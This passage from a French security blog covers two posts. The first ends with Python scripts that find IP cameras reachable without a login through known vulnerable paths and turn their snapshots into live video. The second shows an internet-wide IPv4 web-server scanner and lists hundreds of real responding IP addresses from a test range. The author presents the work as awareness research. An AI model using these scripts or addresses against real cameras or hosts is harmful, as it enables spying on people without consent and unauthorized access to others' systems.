			<span class="k">if</span><span class="p">(</span><span class="n">uri_vuln</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="s">""</span><span class="p">):</span>
				<span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">head</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
			<span class="k">if</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">):</span>
				<span class="n">test_cam</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
				<span class="k">if</span> <span class="s">"login"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="nb">str</span><span class="p">(</span><span class="n">test_cam</span><span class="p">.</span><span class="n">text</span><span class="p">):</span>
					<span class="k">print</span><span class="p">(</span><span class="n">Fore</span><span class="p">.</span><span class="n">GREEN</span> <span class="o">+</span> <span class="sa">f</span><span class="s">"Modèle de la caméra: </span><span class="si">{</span><span class="n">model</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="si">}</span><span class="s"> </span><span class="se">\n</span><span class="s"> - Flux de la caméra: </span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s">"</span> <span class="o">+</span> <span class="n">Fore</span><span class="p">.</span><span class="n">GREEN</span><span class="p">)</span>
			<span class="k">else</span><span class="p">:</span>
				<span class="k">print</span><span class="p">(</span><span class="n">Fore</span><span class="p">.</span><span class="n">RED</span> <span class="o">+</span> <span class="sa">f</span><span class="s">"Modèle de la caméra: </span><span class="si">{</span><span class="n">model</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="si">}</span><span class="s">"</span> <span class="o">+</span> <span class="n">Fore</span><span class="p">.</span><span class="n">RED</span><span class="p">)</span>
		<span class="k">except</span><span class="p">:</span>
			<span class="k">print</span><span class="p">(</span><span class="n">Fore</span><span class="p">.</span><span class="n">RED</span> <span class="o">+</span> <span class="sa">f</span><span class="s">"Modèle de la caméra: </span><span class="si">{</span><span class="n">model</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="si">}</span><span class="s">"</span> <span class="o">+</span> <span class="n">Fore</span><span class="p">.</span><span class="n">RED</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
	<span class="c1"># Affichage du nombre total de modèles vulnérables
</span>	<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Total de modèles vulnérables </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">model</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
	<span class="c1"># Demande pour spécifier l'IP
</span>	<span class="n">ip</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"IP: "</span><span class="p">)</span>
	<span class="c1"># Demande pour spécifier le PORT
</span>	<span class="n">port</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"PORT: "</span><span class="p">)</span>
	<span class="n">ip</span> <span class="o">+=</span> <span class="s">":"</span> <span class="o">+</span> <span class="n">port</span>
	<span class="c1"># Appel de la fonction de scan
</span>	<span class="n">scan_cam</span><span class="p">(</span><span class="n">ip</span><span class="p">)</span>
</code></pre></div></div>

<blockquote>
  <p><strong>N’oubliez pas d’installer les dépendances avant d’exécuter le script</strong><br />
<code class="language-plaintext highlighter-rouge">pip install requests colorama</code></p>
</blockquote>

<h2 id="de-limage-à-la-vidéo-reconstituer-le-flux">De l’image à la vidéo : reconstituer le flux</h2>

<p>Souvent, les chemins vulnérables donnent accès à des images fixes, pas à un flux vidéo continu. Mais en téléchargeant ces images à intervalle régulier, il est possible de reconstituer une vidéo.<br />
Voici un script qui enregistre les images chaque seconde et les affiche en temps réel avec OpenCV :</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span><span class="p">,</span> <span class="n">requests</span><span class="p">,</span> <span class="n">time</span><span class="p">,</span> <span class="n">cv2</span>
<span class="kn">from</span> <span class="nn">requests.packages.urllib3.exceptions</span> <span class="kn">import</span> <span class="n">InsecureRequestWarning</span>

<span class="n">requests</span><span class="p">.</span><span class="n">packages</span><span class="p">.</span><span class="n">urllib3</span><span class="p">.</span><span class="n">disable_warnings</span><span class="p">(</span><span class="n">InsecureRequestWarning</span><span class="p">)</span>

<span class="n">save_path</span> <span class="o">=</span> <span class="s">"capture.jpg"</span>

<span class="c1"># Fonction qui va afficher le flux vidéo
</span><span class="k">def</span> <span class="nf">read_cam</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="se">\n</span><span class="s">Chemin du flux vidéo: </span><span class="si">{</span><span class="n">os</span><span class="p">.</span><span class="n">getcwd</span><span class="p">()</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">save_path</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">flux_img</span> <span class="o">=</span> <span class="n">cv2</span><span class="p">.</span><span class="n">imread</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">os</span><span class="p">.</span><span class="n">getcwd</span><span class="p">()</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">save_path</span><span class="si">}</span><span class="s">"</span><span class="p">,</span> <span class="n">cv2</span><span class="p">.</span><span class="n">IMREAD_COLOR</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="n">time</span><span class="p">.</span><span class="n">ctime</span><span class="p">())</span>
        <span class="n">img</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
        <span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">save_path</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">)</span>
        <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">img</span><span class="p">.</span><span class="n">content</span><span class="p">)</span>
        <span class="n">f</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
        <span class="n">cv2</span><span class="p">.</span><span class="n">imshow</span><span class="p">(</span><span class="s">"Affichage Flux"</span><span class="p">,</span> <span class="n">flux_img</span><span class="p">)</span>
        <span class="n">key</span> <span class="o">=</span> <span class="n">cv2</span><span class="p">.</span><span class="n">waitKey</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">key</span> <span class="o">&amp;</span> <span class="mh">0xFF</span> <span class="o">==</span> <span class="nb">ord</span><span class="p">(</span><span class="s">'q'</span><span class="p">):</span>
            <span class="k">break</span>
    <span class="n">cv2</span><span class="p">.</span><span class="n">destroyAllWindows</span><span class="p">()</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
	<span class="c1"># Demande de spécifier l'url du flux
</span>	<span class="n">url</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Flux de la caméra: "</span><span class="p">)</span>
	<span class="c1"># Appel de la fonction de lecture d'un flux
</span>	<span class="n">read_cam</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
</code></pre></div></div>

<blockquote>
  <p><strong>Installez les dépendances nécessaires avant d’exécuter le script</strong><br />
<code class="language-plaintext highlighter-rouge">pip install requests opencv-python</code></p>
</blockquote>

<p><img src="../../../../../assets/img/10.png" alt="Output de l'affichage du flux vidéo" /></p>

<h2 id="limites-évolutions-et-bonnes-pratiques">Limites, évolutions et bonnes pratiques</h2>

<p>Il reste encore des modèles non documentés ou mis à jour par les constructeurs, ce qui peut rendre certaines vulnérabilités obsolètes.<br />
Mais cette exploration montre à quel point la sécurité des objets connectés est souvent négligée.</p>

<h6 id="je-souhaite-toutefois-mentionner-que-ce-projet-de-cybersécurité-a-été-entrepris-à-des-fins-strictement-éducatives-dans-le-but-de-promouvoir-la-sensibilisation-à-la-sécurité-informatique"><em>Je souhaite toutefois mentionner que ce projet de cybersécurité a été entrepris à des fins strictement éducatives, dans le but de promouvoir la sensibilisation à la sécurité informatique.</em></h6>

<p><em>Protégez vos équipements, changez les mots de passe par défaut, mettez à jour vos firmwares… et n’oubliez jamais que la sécurité commence par la vigilance !</em></p>]]></content><author><name>Keany Vy Khun</name></author><category term="réseau" /><category term="IoT" /><category term="recherches" /><summary type="html"><![CDATA[Il y a des découvertes qui font froid dans le dos, surtout lorsqu’elles touchent à notre vie privée. Un soir, alors que je parcourais le web à la recherche de failles de sécurité, je suis tombé sur un constat troublant : des centaines de milliers de caméras IP, installées partout dans le monde, sont accessibles publiquement… souvent sans même que leurs propriétaires ne s’en doutent.]]></summary></entry><entry><title type="html">Scan IPV4 avec un VPS de chez Oracle</title><link href="https://blog.keanyvykhun.com/r%C3%A9seau/2023/11/07/scan-ipv4-du-monde-entier.html" rel="alternate" type="text/html" title="Scan IPV4 avec un VPS de chez Oracle" /><published>2023-11-07T00:00:00+00:00</published><updated>2023-11-07T00:00:00+00:00</updated><id>https://blog.keanyvykhun.com/r%C3%A9seau/2023/11/07/scan-ipv4-du-monde-entier</id><content type="html" xml:base="https://blog.keanyvykhun.com/r%C3%A9seau/2023/11/07/scan-ipv4-du-monde-entier.html"><![CDATA[<p>Il y a des idées qui surgissent sans prévenir, souvent à la croisée de la curiosité et de l’envie de repousser les limites. Un soir, alors que je réfléchissais à l’immensité d’Internet, une question m’a traversé l’esprit : et si je scannais toutes les adresses IPv4 publiques de la planète ?<br />
Un défi un peu fou, mais irrésistible pour tout passionné de réseau et de cybersécurité.</p>

<h2 id="limmensité-dipv4-des-chiffres-qui-donnent-le-vertige">L’immensité d’IPv4 : des chiffres qui donnent le vertige</h2>

<p>Avant de me lancer, il fallait mesurer l’ampleur de la tâche. L’espace IPv4, ce sont des adresses sous forme de quatre octets, chacun variant de 0 à 255.<br />
Un rapide calcul :<br />
\(256^4 = 4\,294\,967\,296\)<br />
Soit plus de 4 milliards d’adresses à tester.<br />
C’est vertigineux, mais finalement bien peu comparé à l’infini d’IPv6.</p>

<h2 id="concevoir-un-scanner-efficace-le-choix-du-multithreading">Concevoir un scanner efficace : le choix du multithreading</h2>

<p>Face à cette immensité, il fallait une approche rapide et efficace.<br />
J’ai alors décidé d’écrire un script Python, utilisant le <strong>multithreading</strong> pour paralléliser les tâches et accélérer le scan.<br />
L’idée : distribuer les adresses à tester entre plusieurs threads, chacun travaillant en simultané.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span><span class="p">,</span> <span class="n">threading</span><span class="p">,</span> <span class="n">queue</span><span class="p">,</span> <span class="n">time</span>
<span class="kn">from</span> <span class="nn">requests.packages.urllib3.exceptions</span> <span class="kn">import</span> <span class="n">InsecureRequestWarning</span>
<span class="kn">from</span> <span class="nn">colorama</span> <span class="kn">import</span> <span class="n">init</span><span class="p">,</span> <span class="n">Fore</span><span class="p">,</span> <span class="n">Style</span>

<span class="n">init</span><span class="p">()</span>

<span class="n">requests</span><span class="p">.</span><span class="n">packages</span><span class="p">.</span><span class="n">urllib3</span><span class="p">.</span><span class="n">disable_warnings</span><span class="p">(</span><span class="n">InsecureRequestWarning</span><span class="p">)</span>

<span class="c1"># Fonction qui va scanner les adresses IP
</span><span class="k">def</span> <span class="nf">ip_scan</span><span class="p">(</span><span class="n">q</span><span class="p">):</span>
    <span class="k">while</span> <span class="ow">not</span> <span class="n">q</span><span class="p">.</span><span class="n">empty</span><span class="p">():</span>
        <span class="n">ip</span> <span class="o">=</span> <span class="n">q</span><span class="p">.</span><span class="n">get</span><span class="p">()</span>
        <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"http://</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s">"</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">head</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
            <span class="k">print</span><span class="p">(</span><span class="n">Fore</span><span class="p">.</span><span class="n">GREEN</span> <span class="o">+</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">response</span><span class="si">}</span><span class="s"> - </span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s">"</span> <span class="o">+</span> <span class="n">Fore</span><span class="p">.</span><span class="n">GREEN</span><span class="p">)</span>
            <span class="nb">file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"ip-list.txt"</span><span class="p">,</span> <span class="s">"a"</span><span class="p">)</span>
            <span class="nb">file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">url</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span> 
            <span class="nb">file</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
        <span class="k">except</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="n">Fore</span><span class="p">.</span><span class="n">RED</span> <span class="o">+</span> <span class="sa">f</span><span class="s">"&lt;Response [404]&gt; - </span><span class="si">{</span><span class="n">url</span><span class="si">}</span><span class="s">"</span> <span class="o">+</span> <span class="n">Fore</span><span class="p">.</span><span class="n">RED</span><span class="p">)</span>

<span class="c1"># Création de la file d'attente pour stocker les adresses IP à scanner
</span><span class="n">q</span> <span class="o">=</span> <span class="n">queue</span><span class="p">.</span><span class="n">Queue</span><span class="p">()</span>

<span class="c1"># Ajout des adresses IP à la file d'attente
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
            <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
                <span class="n">ip</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">j</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">k</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">l</span><span class="si">}</span><span class="s">"</span>
                <span class="k">print</span><span class="p">(</span><span class="n">Fore</span><span class="p">.</span><span class="n">YELLOW</span>  <span class="o">+</span> <span class="sa">f</span><span class="s">"File d'attente : </span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
                <span class="n">q</span><span class="p">.</span><span class="n">put</span><span class="p">(</span><span class="n">ip</span><span class="p">)</span>

<span class="c1"># Création des threads pour exécuter la fonction ip_scan
</span><span class="n">threads</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
    <span class="n">t</span> <span class="o">=</span> <span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">ip_scan</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">q</span><span class="p">,))</span>
    <span class="n">t</span><span class="p">.</span><span class="n">daemon</span> <span class="o">=</span> <span class="bp">True</span>
    <span class="n">threads</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>

<span class="c1"># Démarrage des threads
</span><span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">threads</span><span class="p">:</span>
    <span class="n">t</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>

<span class="c1"># Attente de la fin de l'exécution des threads
</span><span class="k">while</span> <span class="ow">not</span> <span class="n">q</span><span class="p">.</span><span class="n">empty</span><span class="p">():</span>
    <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="c1"># Fin du programme
</span><span class="k">print</span><span class="p">(</span><span class="s">"Tous les threads ont terminé."</span><span class="p">)</span>
</code></pre></div></div>

<blockquote>
  <p><strong>Astuce</strong> : Installez les dépendances nécessaires avant d’exécuter le script<br />
<code class="language-plaintext highlighter-rouge">pip install requests colorama</code></p>
</blockquote>

<h2 id="objectif-détecter-les-serveurs-web">Objectif : détecter les serveurs web</h2>

<p>Pour ce projet, je me suis limité à la détection des serveurs web accessibles sur le port 80 (HTTP).<br />
L’idée : construire une liste d’adresses IP valides, c’est-à-dire celles qui répondent à une requête HTTP.</p>

<h2 id="première-étape-un-test-sur-une-plage-restreinte">Première étape : un test sur une plage restreinte</h2>

<p>Avant de lancer le scan global, il fallait tester le concept sur une plage d’adresses plus réduite.<br />
J’ai choisi une plage appartenant à <em>Telecom Italia S.p.A.</em> : 213.82.0.0 à 213.82.255.255.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Adresses IP avec la range spécifique pour le test
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
        <span class="n">ip</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"213.82.</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">j</span><span class="si">}</span><span class="s">"</span>
        <span class="k">print</span><span class="p">(</span><span class="n">Fore</span><span class="p">.</span><span class="n">YELLOW</span>  <span class="o">+</span> <span class="sa">f</span><span class="s">"File d'attente : </span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="n">q</span><span class="p">.</span><span class="n">put</span><span class="p">(</span><span class="n">ip</span><span class="p">)</span>
</code></pre></div></div>

<p>Après près de deux heures d’exécution, le script m’a renvoyé une liste de <strong>659 IPs</strong> hébergeant un serveur web, sur environ 65 000 testées.<br />
Voici un extrait du résultat :</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://213.82.0.75
http://213.82.0.78
http://213.82.0.76
http://213.82.0.77
http://213.82.0.74
http://213.82.0.165
http://213.82.0.173
http://213.82.0.174
http://213.82.1.228
http://213.82.2.227
http://213.82.3.10
http://213.82.3.11
http://213.82.3.69
http://213.82.3.114
http://213.82.3.222
http://213.82.6.3
http://213.82.6.13
http://213.82.6.85
http://213.82.6.86
http://213.82.6.194
http://213.82.7.110
http://213.82.9.146
http://213.82.9.147
http://213.82.9.148
http://213.82.9.157
http://213.82.9.158
http://213.82.10.9
http://213.82.10.116
http://213.82.10.131
http://213.82.10.135
http://213.82.10.133
http://213.82.10.137
http://213.82.10.140
http://213.82.10.142
http://213.82.12.10
http://213.82.12.11
http://213.82.12.12
http://213.82.12.14
http://213.82.12.99
http://213.82.12.101
http://213.82.12.102
http://213.82.12.126
http://213.82.12.165
http://213.82.12.171
http://213.82.12.196
http://213.82.12.197
http://213.82.12.200
http://213.82.12.202
http://213.82.12.203
http://213.82.12.204
http://213.82.13.34
http://213.82.14.68
http://213.82.14.69
http://213.82.14.72
http://213.82.14.74
http://213.82.14.75
http://213.82.14.92
http://213.82.14.174
http://213.82.16.70
http://213.82.16.68
http://213.82.16.71
http://213.82.16.72
http://213.82.16.73
http://213.82.16.74
http://213.82.16.77
http://213.82.16.76
http://213.82.16.80
http://213.82.16.83
http://213.82.16.87
http://213.82.16.90
http://213.82.16.97
http://213.82.17.198
http://213.82.17.200
http://213.82.17.201
http://213.82.17.203
http://213.82.17.207
http://213.82.17.208
http://213.82.17.204
http://213.82.17.221
http://213.82.18.130
http://213.82.18.131
http://213.82.18.134
http://213.82.18.136
http://213.82.18.137
http://213.82.19.58
http://213.82.19.59
http://213.82.19.60
http://213.82.19.118
http://213.82.19.130
http://213.82.19.186
http://213.82.20.2
http://213.82.20.5
http://213.82.20.10
http://213.82.20.108
http://213.82.20.110
http://213.82.21.4
http://213.82.21.3
http://213.82.21.34
http://213.82.21.100
http://213.82.21.101
http://213.82.21.154
http://213.82.21.155
http://213.82.21.167
http://213.82.21.168
http://213.82.21.184
http://213.82.21.183
http://213.82.21.189
http://213.82.21.188
http://213.82.22.72
http://213.82.24.246
http://213.82.24.254
http://213.82.24.252
http://213.82.24.253
http://213.82.25.166
http://213.82.25.168
http://213.82.25.169
http://213.82.26.75
http://213.82.26.81
http://213.82.26.154
http://213.82.27.134
http://213.82.28.26
http://213.82.28.48
http://213.82.28.78
http://213.82.29.26
http://213.82.29.34
http://213.82.29.81
http://213.82.29.99
http://213.82.29.105
http://213.82.29.104
http://213.82.29.194
http://213.82.30.114
http://213.82.30.145
http://213.82.30.173
http://213.82.30.174
http://213.82.30.175
http://213.82.30.189
http://213.82.30.230
http://213.82.31.17
http://213.82.31.202
http://213.82.31.214
http://213.82.35.20
http://213.82.35.162
http://213.82.35.178
http://213.82.37.58
http://213.82.38.226
http://213.82.38.236
http://213.82.38.239
http://213.82.39.68
http://213.82.39.69
http://213.82.39.70
http://213.82.39.226
http://213.82.40.201
http://213.82.40.219
http://213.82.40.221
http://213.82.41.169
http://213.82.43.10
http://213.82.43.147
http://213.82.44.66
http://213.82.44.146
http://213.82.44.147
http://213.82.44.238
http://213.82.45.108
http://213.82.45.110
http://213.82.45.132
http://213.82.45.135
http://213.82.45.136
http://213.82.45.137
http://213.82.46.60
http://213.82.46.154
http://213.82.46.173
http://213.82.46.224
http://213.82.47.2
http://213.82.47.202
http://213.82.49.50
http://213.82.49.233
http://213.82.49.234
http://213.82.49.235
http://213.82.49.241
http://213.82.50.26
http://213.82.50.180
http://213.82.52.158
http://213.82.52.170
http://213.82.52.180
http://213.82.53.194
http://213.82.54.102
http://213.82.54.106
http://213.82.54.162
http://213.82.54.174
http://213.82.54.225
http://213.82.54.231
http://213.82.59.50
http://213.82.59.199
http://213.82.60.26
http://213.82.61.233
http://213.82.61.238
http://213.82.62.62
http://213.82.62.169
http://213.82.62.170
http://213.82.63.42
http://213.82.63.94
http://213.82.64.20
http://213.82.64.19
http://213.82.64.66
http://213.82.64.67
http://213.82.64.68
http://213.82.64.69
http://213.82.64.70
http://213.82.64.204
http://213.82.66.26
http://213.82.66.66
http://213.82.66.142
http://213.82.66.253
http://213.82.67.12
http://213.82.67.13
http://213.82.67.149
http://213.82.68.186
http://213.82.68.250
http://213.82.69.21
http://213.82.69.132
http://213.82.69.150
http://213.82.69.210
http://213.82.70.90
http://213.82.70.214
http://213.82.70.222
http://213.82.74.4
http://213.82.74.2
http://213.82.74.3
http://213.82.74.28
http://213.82.74.27
http://213.82.74.138
http://213.82.74.196
http://213.82.76.142
http://213.82.78.162
http://213.82.79.133
http://213.82.79.137
http://213.82.79.139
http://213.82.79.234
http://213.82.80.12
http://213.82.80.20
http://213.82.80.21
http://213.82.80.233
http://213.82.81.41
http://213.82.82.70
http://213.82.82.74
http://213.82.82.83
http://213.82.82.105
http://213.82.82.111
http://213.82.84.166
http://213.82.85.147
http://213.82.85.149
http://213.82.85.155
http://213.82.86.30
http://213.82.86.138
http://213.82.87.6
http://213.82.87.10
http://213.82.87.76
http://213.82.87.77
http://213.82.87.206
http://213.82.88.2
http://213.82.88.82
http://213.82.88.122
http://213.82.88.181
http://213.82.88.183
http://213.82.88.218
http://213.82.89.35
http://213.82.89.36
http://213.82.89.37
http://213.82.89.42
http://213.82.89.194
http://213.82.90.14
http://213.82.91.10
http://213.82.91.11
http://213.82.91.13
http://213.82.92.50
http://213.82.93.201
http://213.82.93.205
http://213.82.93.207
http://213.82.93.211
http://213.82.94.19
http://213.82.94.20
http://213.82.94.29
http://213.82.94.58
http://213.82.94.129
http://213.82.97.3
http://213.82.97.106
http://213.82.99.83
http://213.82.99.90
http://213.82.99.92
http://213.82.99.93
http://213.82.99.91
http://213.82.100.22
http://213.82.100.129
http://213.82.100.162
http://213.82.102.102
http://213.82.102.130
http://213.82.102.148
http://213.82.102.169
http://213.82.102.226
http://213.82.102.249
http://213.82.105.2
http://213.82.106.35
http://213.82.106.126
http://213.82.107.18
http://213.82.107.59
http://213.82.107.62
http://213.82.107.68
http://213.82.107.69
http://213.82.107.66
http://213.82.107.133
http://213.82.107.134
http://213.82.107.170
http://213.82.107.246
http://213.82.109.44
http://213.82.109.45
http://213.82.110.243
http://213.82.110.244
http://213.82.111.68
http://213.82.111.67
http://213.82.114.106
http://213.82.114.221
http://213.82.114.220
http://213.82.114.222
http://213.82.115.13
http://213.82.117.58
http://213.82.117.106
http://213.82.120.18
http://213.82.120.70
http://213.82.120.79
http://213.82.120.104
http://213.82.120.108
http://213.82.120.116
http://213.82.120.117
http://213.82.120.118
http://213.82.120.126
http://213.82.120.130
http://213.82.120.182
http://213.82.121.97
http://213.82.121.99
http://213.82.122.26
http://213.82.123.19
http://213.82.123.58
http://213.82.123.122
http://213.82.123.124
http://213.82.123.140
http://213.82.126.153
http://213.82.126.159
http://213.82.128.106
http://213.82.128.137
http://213.82.128.210
http://213.82.128.218
http://213.82.129.205
http://213.82.132.5
http://213.82.132.162
http://213.82.132.222
http://213.82.135.34
http://213.82.135.208
http://213.82.136.26
http://213.82.136.74
http://213.82.142.74
http://213.82.142.133
http://213.82.142.229
http://213.82.142.245
http://213.82.143.122
http://213.82.143.234
http://213.82.143.233
http://213.82.143.235
http://213.82.143.254
http://213.82.144.68
http://213.82.144.254
http://213.82.145.210
http://213.82.145.211
http://213.82.146.85
http://213.82.146.225
http://213.82.147.163
http://213.82.149.10
http://213.82.149.26
http://213.82.149.133
http://213.82.149.173
http://213.82.149.172
http://213.82.149.170
http://213.82.150.54
http://213.82.150.96
http://213.82.150.97
http://213.82.150.98
http://213.82.150.99
http://213.82.151.37
http://213.82.151.43
http://213.82.151.142
http://213.82.152.230
http://213.82.153.147
http://213.82.153.219
http://213.82.153.249
http://213.82.153.250
http://213.82.154.69
http://213.82.154.218
http://213.82.155.50
http://213.82.158.3
http://213.82.158.30
http://213.82.159.202
http://213.82.159.203
http://213.82.159.219
http://213.82.162.201
http://213.82.162.207
http://213.82.162.209
http://213.82.162.211
http://213.82.163.70
http://213.82.163.122
http://213.82.163.125
http://213.82.163.138
http://213.82.163.142
http://213.82.165.66
http://213.82.165.67
http://213.82.165.70
http://213.82.165.187
http://213.82.165.222
http://213.82.165.229
http://213.82.168.43
http://213.82.168.42
http://213.82.168.44
http://213.82.168.45
http://213.82.168.46
http://213.82.171.146
http://213.82.171.150
http://213.82.171.151
http://213.82.171.152
http://213.82.172.82
http://213.82.172.84
http://213.82.172.101
http://213.82.172.105
http://213.82.172.106
http://213.82.172.108
http://213.82.172.109
http://213.82.172.110
http://213.82.172.133
http://213.82.172.141
http://213.82.172.142
http://213.82.173.50
http://213.82.174.94
http://213.82.174.142
http://213.82.174.202
http://213.82.174.226
http://213.82.174.246
http://213.82.175.158
http://213.82.176.33
http://213.82.176.35
http://213.82.176.46
http://213.82.176.186
http://213.82.176.188
http://213.82.176.215
http://213.82.176.230
http://213.82.176.234
http://213.82.177.180
http://213.82.177.179
http://213.82.177.182
http://213.82.177.250
http://213.82.178.51
http://213.82.178.59
http://213.82.178.60
http://213.82.178.62
http://213.82.178.61
http://213.82.178.78
http://213.82.178.98
http://213.82.178.147
http://213.82.178.152
http://213.82.178.153
http://213.82.178.154
http://213.82.178.156
http://213.82.178.194
http://213.82.178.198
http://213.82.178.199
http://213.82.178.205
http://213.82.178.250
http://213.82.179.9
http://213.82.179.68
http://213.82.179.124
http://213.82.179.164
http://213.82.179.180
http://213.82.179.222
http://213.82.179.226
http://213.82.181.209
http://213.82.183.153
http://213.82.183.203
http://213.82.184.10
http://213.82.186.73
http://213.82.186.74
http://213.82.186.80
http://213.82.186.81
http://213.82.186.82
http://213.82.189.174
http://213.82.191.61
http://213.82.191.62
http://213.82.191.90
http://213.82.191.198
http://213.82.191.254
http://213.82.192.166
http://213.82.194.18
http://213.82.194.23
http://213.82.195.54
http://213.82.195.66
http://213.82.195.114
http://213.82.195.160
http://213.82.195.161
http://213.82.195.227
http://213.82.195.229
http://213.82.195.230
http://213.82.197.70
http://213.82.197.230
http://213.82.199.2
http://213.82.199.121
http://213.82.199.127
http://213.82.202.98
http://213.82.202.186
http://213.82.204.250
http://213.82.205.11
http://213.82.205.13
http://213.82.205.170
http://213.82.207.82
http://213.82.207.88
http://213.82.207.89
http://213.82.207.90
http://213.82.207.91
http://213.82.207.254
http://213.82.211.44
http://213.82.214.242
http://213.82.215.22
http://213.82.215.243
http://213.82.216.229
http://213.82.216.234
http://213.82.216.236
http://213.82.216.241
http://213.82.217.74
http://213.82.217.94
http://213.82.217.117
http://213.82.217.205
http://213.82.218.226
http://213.82.219.52
http://213.82.219.50
http://213.82.219.86
http://213.82.219.84
http://213.82.219.130
http://213.82.219.131
http://213.82.219.132
http://213.82.219.133
http://213.82.219.139
http://213.82.219.203
http://213.82.219.204
http://213.82.219.206
http://213.82.219.205
http://213.82.219.250
